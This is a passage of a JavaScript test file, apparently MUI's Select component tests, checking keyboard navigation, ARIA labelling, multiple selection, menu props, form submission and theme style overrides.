fireEvent.keyDown(options[4], { key: 'Enter' });\n\n          expect(options[4]).to.have.attribute('aria-selected', 'true');\n        });\n      });\n\n      ['', 0, false, undefined, NaN].forEach((value) =>\n        describe(`when the second child is conditionally rendering with \"${value}\"`, () => {\n          it('first selectable option is focused to use the arrow', () => {\n            render(\n              <Select defaultValue=\"\" open>\n                <ListSubheader>Category 1</ListSubheader>\n                {value && <MenuItem value={1}>One</MenuItem>}\n                <MenuItem value={1}>Option 1</MenuItem>\n                <MenuItem value={2}>Option 2</MenuItem>\n                <ListSubheader>Category 2</ListSubheader>\n                <MenuItem value={3}>Option 3</MenuItem>\n                <MenuItem value={4}>Option 4</MenuItem>\n              </Select>,\n            );\n\n            const options = screen.getAllByRole('option');\n            expect(options[1]).to.have.attribute('tabindex', '0');\n\n            fireEvent.keyDown(options[1], { key: 'ArrowDown' });\n            fireEvent.keyDown(options[2], { key: 'ArrowDown' });\n            fireEvent.keyDown(options[4], { key: 'Enter' });\n\n            expect(options[4]).to.have.attribute('aria-selected', 'true');\n          });\n        }),\n      );\n    });\n\n    describe('when the first child is a ListSubheader wrapped in a custom component', () => {\n      describe('with the `muiSkipListHighlight` static field', () => {\n        function WrappedListSubheader(props) {\n          return <ListSubheader {...props} />;\n        }\n\n        WrappedListSubheader.muiSkipListHighlight = true;\n\n        it('highlights the first selectable option below the header', () => {\n          render(\n            <Select defaultValue=\"\" open>\n              <WrappedListSubheader>Category 1</WrappedListSubheader>\n              <MenuItem value={1}>Option 1</MenuItem>\n              <MenuItem value={2}>Option 2</MenuItem>\n              <WrappedListSubheader>Category 2</WrappedListSubheader>\n              <MenuItem value={3}>Option 3</MenuItem>\n              <MenuItem value={4}>Option 4</MenuItem>\n            </Select>,\n          );\n\n          const expectedHighlightedOption = screen.getByText('Option 1');\n          expect(expectedHighlightedOption).to.have.attribute('tabindex', '0');\n        });\n      });\n\n      describe('with the `muiSkipListHighlight` prop', () => {\n        function WrappedListSubheader(props) {\n          const { muiSkipListHighlight, ...other } = props;\n          return <ListSubheader {...other} />;\n        }\n\n        it('highlights the first selectable option below the header', () => {\n          render(\n            <Select defaultValue=\"\" open>\n              <WrappedListSubheader muiSkipListHighlight>Category 1</WrappedListSubheader>\n              <MenuItem value={1}>Option 1</MenuItem>\n              <MenuItem value={2}>Option 2</MenuItem>\n              <WrappedListSubheader muiSkipListHighlight>Category 2</WrappedListSubheader>\n              <MenuItem value={3}>Option 3</MenuItem>\n              <MenuItem value={4}>Option 4</MenuItem>\n            </Select>,\n          );\n\n          const expectedHighlightedOption = screen.getByText('Option 1');\n          expect(expectedHighlightedOption).to.have.attribute('tabindex', '0');\n        });\n      });\n    });\n\n    describe('when the first child is a MenuItem disabled', () => {\n      it('highlights the first selectable option below the header', () => {\n        render(\n          <Select defaultValue=\"\" open>\n            <MenuItem value=\"\" disabled>\n              <em>None</em>\n            </MenuItem>\n            <ListSubheader>Category 1</ListSubheader>\n            <MenuItem value={1}>Option 1</MenuItem>\n            <MenuItem value={2}>Option 2</MenuItem>\n            <ListSubheader>Category 2</ListSubheader>\n            <MenuItem value={3}>Option 3</MenuItem>\n            <MenuItem value={4}>Option 4</MenuItem>\n          </Select>,\n        );\n\n        const options = screen.getAllByRole('option');\n        expect(options[2]).to.have.attribute('tabindex', '0');\n\n        fireEvent.keyDown(options[2], { key: 'ArrowDown' });\n        fireEvent.keyDown(options[3], { key: 'ArrowDown' });\n        fireEvent.keyDown(options[5], { key: 'Enter' });\n\n        expect(options[5]).to.have.attribute('aria-selected', 'true');\n      });\n    });\n\n    it('will fallback to its content for the accessible name when it has no name', () => {\n      render(<Select value=\"\" />);\n\n      // TODO what is the accessible name actually?\n      expect(screen.getByRole('combobox')).not.to.have.attribute('aria-labelledby');\n    });\n\n    it('is labelled by itself when it has a name', () => {\n      render(<Select name=\"select\" value=\"\" />);\n\n      expect(screen.getByRole('combobox')).to.have.attribute(\n        'aria-labelledby',\n        screen.getByRole('combobox').getAttribute('id'),\n      );\n    });\n\n    it('is labelled by itself when it has an id which is preferred over name', () => {\n      render(\n        <React.Fragment>\n          <span id=\"select-1-label\">Chose first option:</span>\n          <Select id=\"select-1\" labelId=\"select-1-label\" name=\"select\" value=\"\" />\n          <span id=\"select-2-label\">Chose second option:</span>\n          <Select id=\"select-2\" labelId=\"select-2-label\" name=\"select\" value=\"\" />\n        </React.Fragment>,\n      );\n\n      const triggers = screen.getAllByRole('combobox');\n\n      expect(triggers[0]).to.have.attribute(\n        'aria-labelledby',\n        `select-1-label ${triggers[0].getAttribute('id')}`,\n      );\n      expect(triggers[1]).to.have.attribute(\n        'aria-labelledby',\n        `select-2-label ${triggers[1].getAttribute('id')}`,\n      );\n    });\n\n    it('can be labelled by an additional element if its id is provided in `labelId`', () => {\n      render(\n        <React.Fragment>\n          <span id=\"select-label\">Choose one:</span>\n          <Select labelId=\"select-label\" name=\"select\" value=\"\" />\n        </React.Fragment>,\n      );\n\n      expect(screen.getByRole('combobox')).to.have.attribute(\n        'aria-labelledby',\n        `select-label ${screen.getByRole('combobox').getAttribute('id')}`,\n      );\n    });\n\n    it('the list of options is not labelled by default', () => {\n      render(<Select open value=\"\" />);\n\n      expect(screen.getByRole('listbox')).not.to.have.attribute('aria-labelledby');\n    });\n\n    it('the list of options can be labelled by providing `labelId`', () => {\n      render(\n        <React.Fragment>\n          <span id=\"select-label\">Choose one:</span>\n          <Select labelId=\"select-label\" open value=\"\" />\n        </React.Fragment>,\n      );\n\n      expect(screen.getByRole('listbox')).to.have.attribute('aria-labelledby', 'select-label');\n    });\n\n    it('should have appropriate accessible description when provided in props', () => {\n      render(\n        <React.Fragment>\n          <Select aria-describedby=\"select-helper-text\" value=\"\" />\n          <span id=\"select-helper-text\">Helper text content</span>\n        </React.Fragment>,\n      );\n\n      const target = screen.getByRole('combobox');\n      expect(target).to.have.attribute('aria-describedby', 'select-helper-text');\n      expect(target).toHaveAccessibleDescription('Helper text content');\n    });\n  });\n\n  describe('prop: readOnly', () => {\n    it('should not trigger any event with readOnly', async () => {\n      render(\n        <Select readOnly value=\"10\">\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n        </Select>,\n      );\n      const trigger = screen.getByRole('combobox');\n      await act(async () => {\n        trigger.focus();\n      });\n\n      fireEvent.keyDown(trigger, { key: 'ArrowDown' });\n      expect(screen.queryByRole('listbox')).to.equal(null);\n\n      fireEvent.keyUp(trigger, { key: 'ArrowDown' });\n      expect(screen.queryByRole('listbox')).to.equal(null);\n    });\n  });\n\n  describe('prop: MenuProps', () => {\n    it('should apply additional props to the Menu component', () => {\n      const onEntered = spy();\n\n      render(\n        <Select\n          MenuProps={{ slotProps: { transition: { onEntered } }, transitionDuration: 100 }}\n          value=\"10\"\n        >\n          <MenuItem value=\"10\">Ten</MenuItem>\n        </Select>,\n      );\n\n      fireEvent.mouseDown(screen.getByRole('combobox'));\n      clock.tick(99);\n\n      expect(onEntered.callCount).to.equal(0);\n\n      clock.tick(1);\n\n      expect(onEntered.callCount).to.equal(1);\n    });\n\n    it('should be able to override slotProps.paper minWidth', () => {\n      render(\n        <Select\n          MenuProps={{\n            slotProps: { paper: { 'data-testid': 'paper', style: { minWidth: 12 } } },\n          }}\n          open\n          value=\"10\"\n        >\n          <MenuItem value=\"10\">Ten</MenuItem>\n        </Select>,\n      );\n\n      expect(screen.getByTestId('paper').style).to.have.property('minWidth', '12px');\n    });\n\n    // https://github.com/mui/material-ui/issues/38700\n    it.skipIf(isJsdom())(\n      'should merge `slotProps.paper` with the default Paper props',\n      function test() {\n        render(\n          <Select MenuProps={{ slotProps: { paper: { 'data-testid': 'paper' } } }} open value=\"10\">\n            <MenuItem value=\"10\">Ten</MenuItem>\n          </Select>,\n        );\n\n        const paper = screen.getByTestId('paper');\n        const selectButton = screen.getByRole('combobox', { hidden: true });\n\n        expect(paper.style).to.have.property('minWidth', `${selectButton.clientWidth}px`);\n      },\n    );\n\n    // https://github.com/mui/material-ui/issues/46273\n    it('should merge `slotProps.list` with default List props', () => {\n      render(\n        <Select\n          MenuProps={{\n            slotProps: { list: { disablePadding: true } },\n          }}\n          open\n          value=\"10\"\n        >\n          <MenuItem value=\"10\">Ten</MenuItem>\n        </Select>,\n      );\n\n      const listbox = screen.getByRole('listbox');\n      expect(listbox).not.to.have.class(listClasses.padding);\n    });\n\n    // https://github.com/mui/material-ui/issues/38949\n    it('should forward `slotProps` to menu', function test() {\n      render(\n        <Select\n          MenuProps={{\n            slotProps: {\n              root: {\n                slotProps: {\n                  backdrop: { 'data-testid': 'backdrop', style: { backgroundColor: 'red' } },\n                },\n              },\n            },\n          }}\n          open\n          value=\"10\"\n        >\n          <MenuItem value=\"10\">Ten</MenuItem>\n        </Select>,\n      );\n\n      const backdrop = screen.getByTestId('backdrop');\n\n      expect(backdrop.style).to.have.property('backgroundColor', 'red');\n    });\n  });\n\n  describe('prop: SelectDisplayProps', () => {\n    it('should apply additional props to trigger element', () => {\n      render(\n        <Select SelectDisplayProps={{ 'data-test': 'SelectDisplay' }} value=\"10\">\n          <MenuItem value=\"10\">Ten</MenuItem>\n        </Select>,\n      );\n\n      expect(screen.getByRole('combobox')).to.have.attribute('data-test', 'SelectDisplay');\n    });\n  });\n\n  describe('prop: displayEmpty', () => {\n    it('should display the selected item even if its value is empty', () => {\n      render(\n        <Select value=\"\" displayEmpty>\n          <MenuItem value=\"\">Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>,\n      );\n\n      expect(screen.getByRole('combobox')).to.have.text('Ten');\n    });\n\n    it.skipIf(isJsdom())(\n      'should notch the outline to accommodate the label when displayEmpty',\n      function test() {\n        const { container } = render(\n          <Select value=\"\" label=\"Age\" displayEmpty>\n            <MenuItem value=\"\">None</MenuItem>\n            <MenuItem value={10}>Ten</MenuItem>\n            <MenuItem value={20}>Twenty</MenuItem>\n          </Select>,\n        );\n\n        expect(container.querySelector('legend')).toHaveComputedStyle({\n          maxWidth: '100%',\n        });\n      },\n    );\n  });\n\n  describe('prop: renderValue', () => {\n    it('should use the prop to render the value', () => {\n      const renderValue = (x) => `0b${x.toString(2)}`;\n\n      render(\n        <Select renderValue={renderValue} value={4}>\n          <MenuItem value={2}>2</MenuItem>\n          <MenuItem value={4}>4</MenuItem>\n        </Select>,\n      );\n\n      expect(screen.getByRole('combobox')).to.have.text('0b100');\n    });\n  });\n\n  describe('prop: open (controlled)', () => {\n    it('should not focus on close controlled select', async () => {\n      function ControlledWrapper() {\n        const [open, setOpen] = React.useState(false);\n\n        return (\n          <div>\n            <button type=\"button\" id=\"open-select\" onClick={() => setOpen(true)}>\n              Open select\n            </button>\n            <Select\n              MenuProps={{ transitionDuration: 0 }}\n              open={open}\n              onClose={() => setOpen(false)}\n              value=\"\"\n            >\n              <MenuItem onClick={() => setOpen(false)}>close</MenuItem>\n            </Select>\n          </div>\n        );\n      }\n      const { container } = render(<ControlledWrapper />);\n      const openSelect = container.querySelector('#open-select');\n      await act(async () => {\n        openSelect.focus();\n      });\n      fireEvent.click(openSelect);\n\n      const option = screen.getByRole('option');\n      expect(option).toHaveFocus();\n      fireEvent.click(option);\n\n      expect(container.querySelectorAll(classes.focused).length).to.equal(0);\n      expect(openSelect).toHaveFocus();\n    });\n\n    it('should allow to control closing by passing onClose props', async () => {\n      function ControlledWrapper() {\n        const [open, setOpen] = React.useState(false);\n\n        return (\n          <Select\n            MenuProps={{ transitionDuration: 0 }}\n            open={open}\n            onClose={() => setOpen(false)}\n            onOpen={() => setOpen(true)}\n            value=\"\"\n          >\n            <MenuItem onClick={() => setOpen(false)}>close</MenuItem>\n          </Select>\n        );\n      }\n      render(<ControlledWrapper />);\n\n      fireEvent.mouseDown(screen.getByRole('combobox'));\n      expect(screen.getByRole('listbox')).not.to.equal(null);\n\n      await act(async () => {\n        screen.getByRole('option').click();\n      });\n      // react-transition-group uses one extra commit for exit to completely remove\n      // it from the DOM. but it's at least immediately inaccessible.\n      // It's desired that this fails one day. The additional tick required to remove\n      // this from the DOM is not a feature\n      expect(screen.getByRole('listbox', { hidden: true })).toBeInaccessible();\n      clock.tick(0);\n\n      expect(screen.queryByRole('listbox', { hidden: true })).to.equal(null);\n    });\n\n    it('should be open when initially true', () => {\n      render(\n        <Select open value=\"\">\n          <MenuItem>Hello</MenuItem>\n        </Select>,\n      );\n\n      expect(screen.getByRole('listbox')).not.to.equal(null);\n    });\n\n    it('open only with the left mouse button click', () => {\n      render(\n        <Select value=\"\">\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>,\n      );\n\n      const trigger = screen.getByRole('combobox');\n\n      // If clicked by the right/middle mouse button, no options list should be opened\n      fireEvent.mouseDown(trigger, { button: 1 });\n      expect(screen.queryByRole('listbox')).to.equal(null);\n\n      fireEvent.mouseDown(trigger, { button: 2 });\n      expect(screen.queryByRole('listbox')).to.equal(null);\n    });\n  });\n\n  describe('prop: autoWidth', () => {\n    it('should take the trigger parent element width into account by default', () => {\n      const { container } = render(\n        <Select MenuProps={{ slotProps: { paper: { 'data-testid': 'paper' } } }} value=\"\">\n          <MenuItem>Only</MenuItem>\n        </Select>,\n      );\n      const parentEl = container.querySelector('.MuiInputBase-root');\n      const button = screen.getByRole('combobox');\n      stub(parentEl, 'clientWidth').get(() => 14);\n\n      fireEvent.mouseDown(button);\n      expect(screen.getByTestId('paper').style).to.have.property('minWidth', '14px');\n    });\n\n    it('should not take the trigger parent element width into account when autoWidth is true', () => {\n      const { container } = render(\n        <Select autoWidth MenuProps={{ slotProps: { paper: { 'data-testid': 'paper' } } }} value=\"\">\n          <MenuItem>Only</MenuItem>\n        </Select>,\n      );\n      const parentEl = container.querySelector('.MuiInputBase-root');\n      const button = screen.getByRole('combobox');\n      stub(parentEl, 'clientWidth').get(() => 14);\n\n      fireEvent.mouseDown(button);\n      expect(screen.getByTestId('paper').style).to.have.property('minWidth', '');\n    });\n  });\n\n  describe('prop: multiple', () => {\n    it('should serialize multiple select value', () => {\n      const { container } = render(\n        <Select multiple open value={[10, 30]}>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>,\n      );\n      const options = screen.getAllByRole('option');\n\n      expect(container.querySelector('input')).to.have.property('value', '10,30');\n      expect(options[0]).to.have.attribute('aria-selected', 'true');\n      expect(options[1]).not.to.have.attribute('aria-selected', 'true');\n      expect(options[2]).to.have.attribute('aria-selected', 'true');\n    });\n\n    it('should have aria-multiselectable=true when multiple is true', () => {\n      render(\n        <Select multiple value={[10, 30]}>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>,\n      );\n\n      fireEvent.mouseDown(screen.getByRole('combobox'));\n\n      expect(screen.getByRole('listbox')).to.have.attribute('aria-multiselectable', 'true');\n    });\n\n    it('should serialize multiple select display value', () => {\n      render(\n        <Select multiple value={[10, 20, 30]}>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>\n            <strong>Twenty</strong>\n          </MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>,\n      );\n\n      expect(screen.getByRole('combobox')).to.have.text('Ten, Twenty, Thirty');\n    });\n\n    it('should not throw an error if `value` is an empty array', () => {\n      expect(() => {\n        render(<Select multiple value={[]} />);\n      }).not.to.throw();\n    });\n\n    it('should not throw an error if `value` is not an empty array', () => {\n      expect(() => {\n        render(<Select multiple value={['foo']} />);\n      }).not.to.throw();\n    });\n\n    it(\"selects value based on their stringified equality when they're not objects\", () => {\n      render(\n        <Select multiple open value={['10', '20']}>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>,\n      );\n\n      const options = screen.getAllByRole('option');\n\n      expect(options[0]).to.have.attribute('aria-selected', 'true');\n      expect(options[1]).to.have.attribute('aria-selected', 'true');\n      expect(options[2]).not.to.have.attribute('aria-selected', 'true');\n    });\n\n    it(\"selects values based on strict equality if they're objects\", () => {\n      const obj1 = { id: 1 };\n      const obj2 = { id: 2 };\n      const obj3 = { id: 3 };\n\n      render(\n        <Select multiple open value={[obj1, obj3]}>\n          <MenuItem value={obj1}>ID: 1</MenuItem>\n          <MenuItem value={obj2}>ID: 2</MenuItem>\n          <MenuItem value={obj3}>ID: 3</MenuItem>\n        </Select>,\n      );\n\n      const options = screen.getAllByRole('option');\n\n      expect(options[0]).to.have.attribute('aria-selected', 'true');\n      expect(options[1]).not.to.have.attribute('aria-selected', 'true');\n      expect(options[2]).to.have.attribute('aria-selected', 'true');\n    });\n\n    describe('errors', () => {\n      // can't catch render errors in the browser for unknown reason\n      // tried try-catch + error boundary + window onError preventDefault\n      // TODO is this fixed?\n      it.skipIf(!isJsdom())('should throw if non array', function test() {\n        const errorRef = React.createRef();\n        expect(() => {\n          render(\n            <ErrorBoundary ref={errorRef}>\n              <Select multiple value=\"10,20\">\n                <MenuItem value=\"10\">Ten</MenuItem>\n                <MenuItem value=\"20\">Twenty</MenuItem>\n                <MenuItem value=\"30\">Thirty</MenuItem>\n              </Select>\n            </ErrorBoundary>,\n          );\n        }).toErrorDev([\n          'MUI: The `value` prop must be an array',\n          // React 18 Strict Effects run mount effects twice\n          reactMajor === 18 && 'MUI: The `value` prop must be an array',\n          reactMajor < 19 &&\n            /The above error occurred in the <ForwardRef\\(SelectInput.*\\)> component/,\n        ]);\n        const {\n          current: { errors },\n        } = errorRef;\n        expect(errors).to.have.length(1);\n        expect(errors[0].toString()).to.include('MUI: The `value` prop must be an array');\n      });\n    });\n\n    describe('prop: onChange', () => {\n      it('should call onChange when clicking an item', async () => {\n        function ControlledSelectInput(props) {\n          const { onChange } = props;\n          const [values, clickedValue] = React.useReducer((currentValues, valueClicked) => {\n            if (!currentValues.includes(valueClicked)) {\n              return currentValues.concat(valueClicked);\n            }\n            return currentValues.filter((value) => {\n              return value !== valueClicked;\n            });\n          }, []);\n\n          const handleChange = (event) => {\n            onChange(event);\n            clickedValue(event.target.value);\n          };\n\n          return (\n            <Select multiple name=\"age\" onChange={handleChange} value={values}>\n              <MenuItem value={10}>Ten</MenuItem>\n              <MenuItem value={20}>Ten</MenuItem>\n              <MenuItem value={30}>Ten</MenuItem>\n            </Select>\n          );\n        }\n        const onChange = stub().callsFake((event) => {\n          return {\n            name: event.target.name,\n            value: event.target.value,\n          };\n        });\n        render(<ControlledSelectInput onChange={onChange} />);\n\n        fireEvent.mouseDown(screen.getByRole('combobox'));\n        const options = screen.getAllByRole('option');\n        fireEvent.click(options[2]);\n\n        expect(onChange.callCount).to.equal(1);\n        expect(onChange.firstCall.returnValue).to.deep.equal({ name: 'age', value: [30] });\n\n        await act(async () => {\n          options[0].click();\n        });\n\n        expect(onChange.callCount).to.equal(2);\n        expect(onChange.secondCall.returnValue).to.deep.equal({ name: 'age', value: [30, 10] });\n      });\n    });\n\n    it('should apply multiple class to `select` slot', () => {\n      const { container } = render(\n        <Select multiple open value={[10, 30]}>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>,\n      );\n\n      expect(container.querySelector(`.${classes.select}`)).to.have.class(classes.multiple);\n    });\n\n    it.skipIf(isJsdom())(\n      'should be able to override `multiple` rule name in `select` slot',\n      function test() {\n        const selectStyle = {\n          marginLeft: '10px',\n          marginTop: '10px',\n        };\n\n        const multipleStyle = {\n          marginTop: '14px',\n        };\n\n        const theme = createTheme({\n          components: {\n            MuiSelect: {\n              styleOverrides: {\n                select: selectStyle,\n                multiple: multipleStyle,\n              },\n            },\n          },\n        });\n\n        const { container } = render(\n          <ThemeProvider theme={theme}>\n            <Select open value={['first']} multiple>\n              <MenuItem value=\"first\" />\n              <MenuItem value=\"second\" />\n            </Select>\n          </ThemeProvider>,\n        );\n\n        const combinedStyle = { ...selectStyle, ...multipleStyle };\n\n        expect(container.getElementsByClassName(classes.select)[0]).to.toHaveComputedStyle(\n          combinedStyle,\n        );\n      },\n    );\n  });\n\n  describe('prop: autoFocus', () => {\n    it('should focus select after Select did mount', () => {\n      render(<Select value=\"\" autoFocus />);\n\n      expect(screen.getByRole('combobox')).toHaveFocus();\n    });\n  });\n\n  it('should be able to return the input node via a ref object', () => {\n    const ref = React.createRef();\n    const { setProps } = render(<Select inputProps={{ ref }} value=\"\" />);\n\n    expect(ref.current.node).to.have.tagName('input');\n\n    setProps({\n      value: '',\n    });\n    expect(ref.current.node).to.have.tagName('input');\n  });\n\n  describe('prop: inputRef', () => {\n    it('should be able to return the input node via a ref object', () => {\n      const ref = React.createRef();\n      render(<Select inputRef={ref} value=\"\" />);\n\n      expect(ref.current.node).to.have.tagName('input');\n    });\n\n    // TODO: This might be confusing a prop called input!Ref can imperatively\n    // focus a button. This implies <input type=\"button\" /> is still used.\n    it('should be able focus the trigger imperatively', async () => {\n      const ref = React.createRef();\n      render(<Select inputRef={ref} value=\"\" />);\n\n      await act(async () => {\n        ref.current.focus();\n      });\n\n      expect(screen.getByRole('combobox')).toHaveFocus();\n    });\n  });\n\n  describe('prop: name', () => {\n    it('should have no id when name is not provided', () => {\n      render(<Select value=\"\" />);\n\n      expect(screen.getByRole('combobox')).not.to.have.attribute('id');\n    });\n\n    it('should have select-`name` id when name is provided', () => {\n      render(<Select name=\"foo\" value=\"\" />);\n\n      expect(screen.getByRole('combobox')).to.have.attribute('id', 'mui-component-select-foo');\n    });\n  });\n\n  describe('prop: native', () => {\n    it('renders a <select />', () => {\n      const { container } = render(<Select native />);\n\n      expect(container.querySelector('select')).not.to.equal(null);\n    });\n\n    it('can be labelled with a <label />', () => {\n      render(\n        <React.Fragment>\n          <label htmlFor=\"select\">A select</label>\n          <Select id=\"select\" native />\n        </React.Fragment>,\n      );\n\n      expect(screen.getByRole('combobox', { name: 'A select' })).to.have.property(\n        'tagName',\n        'SELECT',\n      );\n    });\n  });\n\n  it('prevents the default when releasing Space on the children', () => {\n    const keyUpSpy = spy();\n    render(\n      <Select value=\"one\" open>\n        <MenuItem onKeyUp={keyUpSpy} value=\"one\">\n          One\n        </MenuItem>\n      </Select>,\n    );\n\n    fireEvent.keyUp(screen.getAllByRole('option')[0], { key: ' ' });\n\n    expect(keyUpSpy.callCount).to.equal(1);\n    expect(keyUpSpy.firstCall.args[0]).to.have.property('defaultPrevented', true);\n  });\n\n  it('should pass onClick prop to MenuItem', () => {\n    const onClick = spy();\n\n    render(\n      <Select open value=\"30\">\n        <MenuItem onClick={onClick} value={30}>\n          Thirty\n        </MenuItem>\n      </Select>,\n    );\n\n    const options = screen.getAllByRole('option');\n    fireEvent.click(options[0]);\n\n    expect(onClick.callCount).to.equal(1);\n  });\n\n  // https://github.com/testing-library/react-testing-library/issues/322\n  // https://x.com/devongovett/status/1248306411508916224\n  it('should handle the browser autofill event and simple testing-library API', () => {\n    const onChangeHandler = spy();\n    const { container } = render(\n      <Select onChange={onChangeHandler} defaultValue=\"germany\" name=\"country\">\n        <MenuItem value=\"france\">France</MenuItem>\n        <MenuItem value=\"germany\">Germany</MenuItem>\n        <MenuItem value=\"china\">China</MenuItem>\n      </Select>,\n    );\n    fireEvent.change(container.querySelector('input[name=\"country\"]'), {\n      target: {\n        value: 'france',\n      },\n    });\n\n    expect(onChangeHandler.calledOnce).to.equal(true);\n    expect(screen.getByRole('combobox')).to.have.text('France');\n  });\n\n  // see https://github.com/jsdom/jsdom/issues/123\n  it.skipIf(isJsdom())('should support native form validation', function test() {\n    const handleSubmit = spy((event) => {\n      event.preventDefault();\n    });\n    function Form(props) {\n      return (\n        <form onSubmit={handleSubmit}>\n          <Select required name=\"country\" {...props}>\n            <MenuItem value=\"\" />\n            <MenuItem value=\"france\">France</MenuItem>\n            <MenuItem value=\"germany\">Germany</MenuItem>\n            <MenuItem value=\"china\">China</MenuItem>\n          </Select>\n          <button type=\"submit\" />\n        </form>\n      );\n    }\n    const { container, setProps } = render(<Form value=\"\" />);\n\n    fireEvent.click(container.querySelector('button[type=submit]'));\n    expect(handleSubmit.callCount).to.equal(0, 'the select is empty it should disallow submit');\n\n    setProps({ value: 'france' });\n    fireEvent.click(container.querySelector('button[type=submit]'));\n    expect(handleSubmit.callCount).to.equal(1);\n  });\n\n  it('should programmatically focus the select', () => {\n    render(\n      <Select\n        value={1}\n        inputRef={(input) => {\n          if (input !== null) {\n            input.focus();\n          }\n        }}\n      >\n        <MenuItem value={1}>1</MenuItem>\n        <MenuItem value={2}>2</MenuItem>\n      </Select>,\n    );\n\n    expect(document.activeElement).to.equal(screen.getByRole('combobox'));\n  });\n\n  it('should not override the event.target on mouse events', () => {\n    const handleChange = spy();\n    const handleClick = spy();\n    render(\n      <div onClick={handleClick}>\n        <Select open onChange={handleChange} value=\"second\">\n          <MenuItem value=\"first\" />\n          <MenuItem value=\"second\" />\n        </Select>\n      </div>,\n    );\n\n    const options = screen.getAllByRole('option');\n    options[0].click();\n\n    expect(handleChange.callCount).to.equal(1);\n    expect(handleClick.callCount).to.equal(1);\n    expect(handleClick.firstCall.args[0]).to.have.property('target', options[0]);\n  });\n\n  it('should only select options', () => {\n    const handleChange = spy();\n    render(\n      <Select open onChange={handleChange} value=\"second\">\n        <MenuItem value=\"first\" />\n        <Divider />\n        <MenuItem value=\"second\" />\n      </Select>,\n    );\n\n    const divider = document.querySelector('hr');\n    divider.click();\n    expect(handleChange.callCount).to.equal(0);\n  });\n\n  it.skipIf(isJsdom())('slots overrides should work', function test() {\n    const rootStyle = {\n      marginTop: '15px',\n    };\n\n    const iconStyle = {\n      marginTop: '13px',\n    };\n\n    const nativeInputStyle = {\n      marginTop: '10px',\n    };\n\n    const selectStyle = {\n      marginLeft: '10px',\n      marginTop: '12px',\n    };\n\n    const multipleStyle = {\n      marginTop: '14px',\n    };\n\n    const theme = createTheme({\n      components: {\n        MuiSelect: {\n          styleOverrides: {\n            root: rootStyle,\n            select: selectStyle,\n            icon: iconStyle,\n            nativeInput: nativeInputStyle,\n            multiple: multipleStyle,\n          },\n        },\n      },\n    });\n\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <Select open value=\"first\" data-testid=\"select\">\n          <MenuItem value=\"first\" />\n          <MenuItem value=\"second\" />\n        </Select>\n      </ThemeProvider>,\n    );\n\n    expect(screen.getByTestId('select')).toHaveComputedStyle(rootStyle);\n    expect(container.getElementsByClassName(classes.icon)[0]).to.toHaveComputedStyle(iconStyle);\n    expect(container.getElementsByClassName(classes.nativeInput)[0]).to.toHaveComputedStyle(\n      nativeInputStyle,\n    );\n    expect(container.getElementsByClassName(classes.select)[0]).to.toHaveComputedStyle(selectStyle);\n  });\n\n  describe('form submission', () => {\n    // FormData is not available in JSDOM\n    it.skipIf(isJsdom())(\n      'includes Select value in formData only if the `name` attribute is provided',\n      async function test() {\n        const handleSubmit = (event) => {\n          event.preventDefault();\n          const formData = new FormData(event.currentTarget);\n          expect(formData.get('select-one')).to.equal('2');\n\n          const formDataAsObject = Object.fromEntries(formData);\n          expect(Object.keys(formDataAsObject).length).to.equal(1);\n        };\n\n        render(\n          <form onSubmit={handleSubmit}>\n            <Select defaultValue={2} name=\"select-one\">\n              <MenuItem value={1} />\n              <MenuItem value={2} />\n            </Select>\n            <Select defaultValue=\"a\">\n              <MenuItem value=\"a\" />\n              <MenuItem value=\"b\" />\n            </Select>\n            <button type=\"submit\">Submit</button>\n          </form>,\n        );\n\n        const button = screen.getByText('Submit');\n        await act(async () => {\n          button.click();\n        });\n      },\n    );\n  });\n\n  describe('theme styleOverrides:', () => {\n    it.skipIf(isJsdom())(\n      'should override with error style when `native select` has `error` state',\n      function test() {\n        const iconStyle = { color: 'rgb(255, 0, 0)' };\n\n        const theme = createTheme({\n          components: {\n            MuiNativeSelect: {\n              styleOverrides: {\n                icon: (props) => ({\n                  ...(props.ownerState.error && iconStyle),\n                }),\n              },\n            },\n          },\n        });\n\n        const { container } = render(\n          <ThemeProvider theme={theme}>\n            <Select value=\"first\" error IconComponent=\"div\" native>\n              <option value=\"first\">first</option>\n            </Select>\n          </ThemeProvider>,\n        );\n\n        expect(container.querySelector(`.${nativeSelectClasses.icon}`)).toHaveComputedStyle(\n          iconStyle,\n        );\n      },\n    );\n\n    it.skipIf(isJsdom())(\n      'should override with error style when `select` has `error` state',\n      function test() {\n        const iconStyle = { color: 'rgb(255, 0, 0)' };\n        const selectStyle = { color: 'rgb(255, 192, 203)' };\n\n        const theme = createTheme({\n          components: {\n            MuiSelect: {\n              styleOverrides: {\n                icon: (props) => ({\n                  ...(props.ownerState.error && iconStyle),\n                }),\n                select: (props) => ({\n                  ...(props.ownerState.error && selectStyle),\n                }),\n              },\n            },\n          },\n        });\n\n        const { container } = render(\n          <ThemeProvider theme={theme}>\n            <Select value=\"\" error IconComponent=\"div\" />\n          </ThemeProvider>,\n        );\n        expect(container.querySelector(`.${classes.select}`)).toHaveComputedStyle(selectStyle);\n        expect(container.querySelector(`.${classes.icon}`)).toHaveComputedStyle(iconStyle);\n      },\n    );\n  });\n\n  ['standard', 'outlined', 'filled'].forEach((variant) => {\n    it(`variant overrides should work for \"${variant}\" variant`, function test() {\n      const theme = createTheme({\n        components: {\n          MuiSelect: {\n            variants: [\n              {\n                props: {\n                  variant,\n                },\n                style: {\n                  fontWeight: '200',\n                },\n              },\n            ],\n          },\n        },\n      });\n\n   